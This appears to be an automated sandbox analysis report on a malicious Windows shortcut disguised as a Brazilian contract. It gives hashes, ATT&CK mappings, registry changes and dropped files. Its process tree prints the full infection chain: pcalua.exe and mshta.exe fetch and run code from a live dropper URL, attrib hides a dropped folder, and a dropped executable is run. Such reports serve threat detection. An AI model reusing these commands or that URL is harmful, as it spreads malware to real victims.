11697385efeae82dcabf246d4c4be611963bbeb75aad0fd0f8d8188bb2837b80

General

Target
Contrato_Indeniza_Brasil-4CIVET.lnk
Size 1KB
Sample260803-pyebgaxhpd
SHA256 11697385efeae82dcabf246d4c4be611963bbeb75aad0fd0f8d8188bb2837b80
MD5 5c7eea3e7aebb92bbef2d01823c98b69
SHA1 d9dc43fb22e77096ef1e7fce2b9fcaa2c20e7158
SHA512 413c5cfa60da175d70d2e39725448b823713e64b15bd28dcb6d35ace4ce30638fac56d614ad84b485778274a16c7aac0c83348c96c154ff882ec9825b3c40fb8
TLSH
T1D53126003EFD0724F3B7DE76557BAB1099FBF9968E118A1D408446481466A04E57EFB3
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3552	mshta.exe
6	3552	mshta.exe
8	3552	mshta.exe
12	3552	mshta.exe
13	3552	mshta.exe
14	3552	mshta.exe
15	3552	mshta.exe
16	3552	mshta.exe
17	3552	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1132	cmd.exe
5340	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5340	cmd.exe
5080	PING.EXE

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5080	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4392	rundll32.exe
5976	rundll32.exe
2252	rundll32.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1132 wrote to memory of 4576	1132	cmd.exe	90
PID 4576 wrote to memory of 3552	4576	pcalua.exe	91
PID 3552 wrote to memory of 4392	3552	mshta.exe	94
PID 3552 wrote to memory of 5976	3552	mshta.exe	95
PID 3552 wrote to memory of 2252	3552	mshta.exe	96
PID 2252 wrote to memory of 1776	2252	rundll32.exe	97
PID 3552 wrote to memory of 2624	3552	mshta.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4640	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-4CIVET.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1132
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3552
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:4392
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:900
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5976
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:5288
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2252
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:1776
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:2624
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:936
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\gtxiqrby\"
      4⤵
      Views/modifies file attributes
      PID:4640
  - - C:\gtxiqrby\gtxiqrby.exe
      "C:\gtxiqrby\gtxiqrby.exe" C:\gtxiqrby\gtxiqrby
      4⤵
      PID:5796
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:5352
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3580
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5340
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 283B
SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
MD5 7f9d3dc54f928bf6c38576705ad18203
SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
TLSH
T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
MD5 SHA1 SHA512 TLSH

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22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 192B
SHA256 b3ac1695a4a2c1ab77d00bef029629191d92c7a0b752425130b59c582924e5f4
MD5 5084efb25f5fe0cc8559356eb86f336c
SHA1 c566dc95178dd42ab7182486557b9b22558bd930
SHA512 b105c7d1cad4fd8eac1c1888f286c023e222745f76372f86d4445cc0ef651aa2c77a16dd2a947e30a0a020e14b7141cadfac53021995269d8d91cecd23a2803b
TLSH
T18FC08C282BE20A06E2E80BBE22D03A839A24D401F2818F8A163A2A488D50B182C30C1C
MD5 SHA1 SHA512 TLSH

Submit Download

a1.zip

Path C:\gtxiqrby\a1.zip
Size 494KB
SHA256 59581d2d1a9bd11f74ee9db04e5538514669505dc8a68bb3dc281821a4adc79f
MD5 105b09da2767f5347a0742d5aae4807f
SHA1 1820ff6b9f30e2598d135123b825dbb6be7ab0f1
SHA512 d1c360a24597383487f8a1a72345eec536e45ebcf2c40e0859027fcfce17c8c52ff2657b5f7951645d5496f994bb3e3a5c9cef0450c762fe713899bac06db162
SSDEEP 12288:/xU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIj:/q7hblmK/dgGeVlk22aCarIj
TLSH
T1A4B4231C22C5BD086D3D97FB58539F7405E6269E14B8024CE18B73C4ABCEF815F829E6
MD5 SHA1 SHA512 SSDEEP TLSH

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a2.zip

Path C:\gtxiqrby\a2.zip
Size 1.3MB
SHA256 00d38ebb9a5cae84fffdfa55d6913144940dbce10dec9275c07411ae99923a72
MD5 eba08a6c6124866f1fe94d38b90e91d6
SHA1 50673ad6711d945247e5b2bba1e7f5dc5f0483a7
SHA512 4b4c1064ef54affe9105be6a50abc9c2725b3809e3e47a4d0ecd32da4ed6ed1b92110f6a0f35f53e11b2de158632f3ea01a581cfd4b099a463274499b4612ddd
SSDEEP 24576:CAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyag:CAuSw7Ku4xpSd7m7BlgVQmvQJH1tJ
TLSH
T18A553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

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a3.zip

Path C:\gtxiqrby\a3.zip
Size 2KB
SHA256 604b745402b23d25caeee2c70aeab8a9c166207b489c49f9a5e13a423e52f6cd
MD5 40fd69bf5079979fa43175ac3f9b21e6
SHA1 432e057cbfda4761fdaae75f32d1383666389ed3
SHA512 65b8b91ad22c7f317535eeb6df3697fd3367ca554c0e2c7f9ac281acb5808a1bc1d69d3c41059268e88569a413f452a422dc498aa81b0de64f66a01fa86ccef1
TLSH
T138413AE88DADBDA0D68E79749A14587155372EC499C062681FBFFC042230398CB2F46D
MD5 SHA1 SHA512 TLSH

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gtxiqrby

Path C:\gtxiqrby\gtxiqrby
Size 1.3MB
SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
MD5 3acd16edf0a4a2c6ece5bdb47bbfe252
SHA1 f2c68a96d6233778d1900a859ff089284c1672f2
SHA512 db484aa924751393a2bb72b482dea0882e2ea077a48f24e9535c1dd4fb49491779832533a50b509770220503952dc01253e62205b3a376ee4660d7c7f3348172
SSDEEP 24576:wAsYBwwc6NnutqPLth3SduIE0mcKppG2RgzTckokmGpVQpHH3tghysG:wAsiw7WuYn3Sdpm7PRgzIYrQhH3tb
TLSH
T121553355B7EDDF04E0BD51A1D9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gtxiqrby.exe

Path C:\gtxiqrby\gtxiqrby.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/5796-108-0x0000000000400000-0x00000000005C7000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads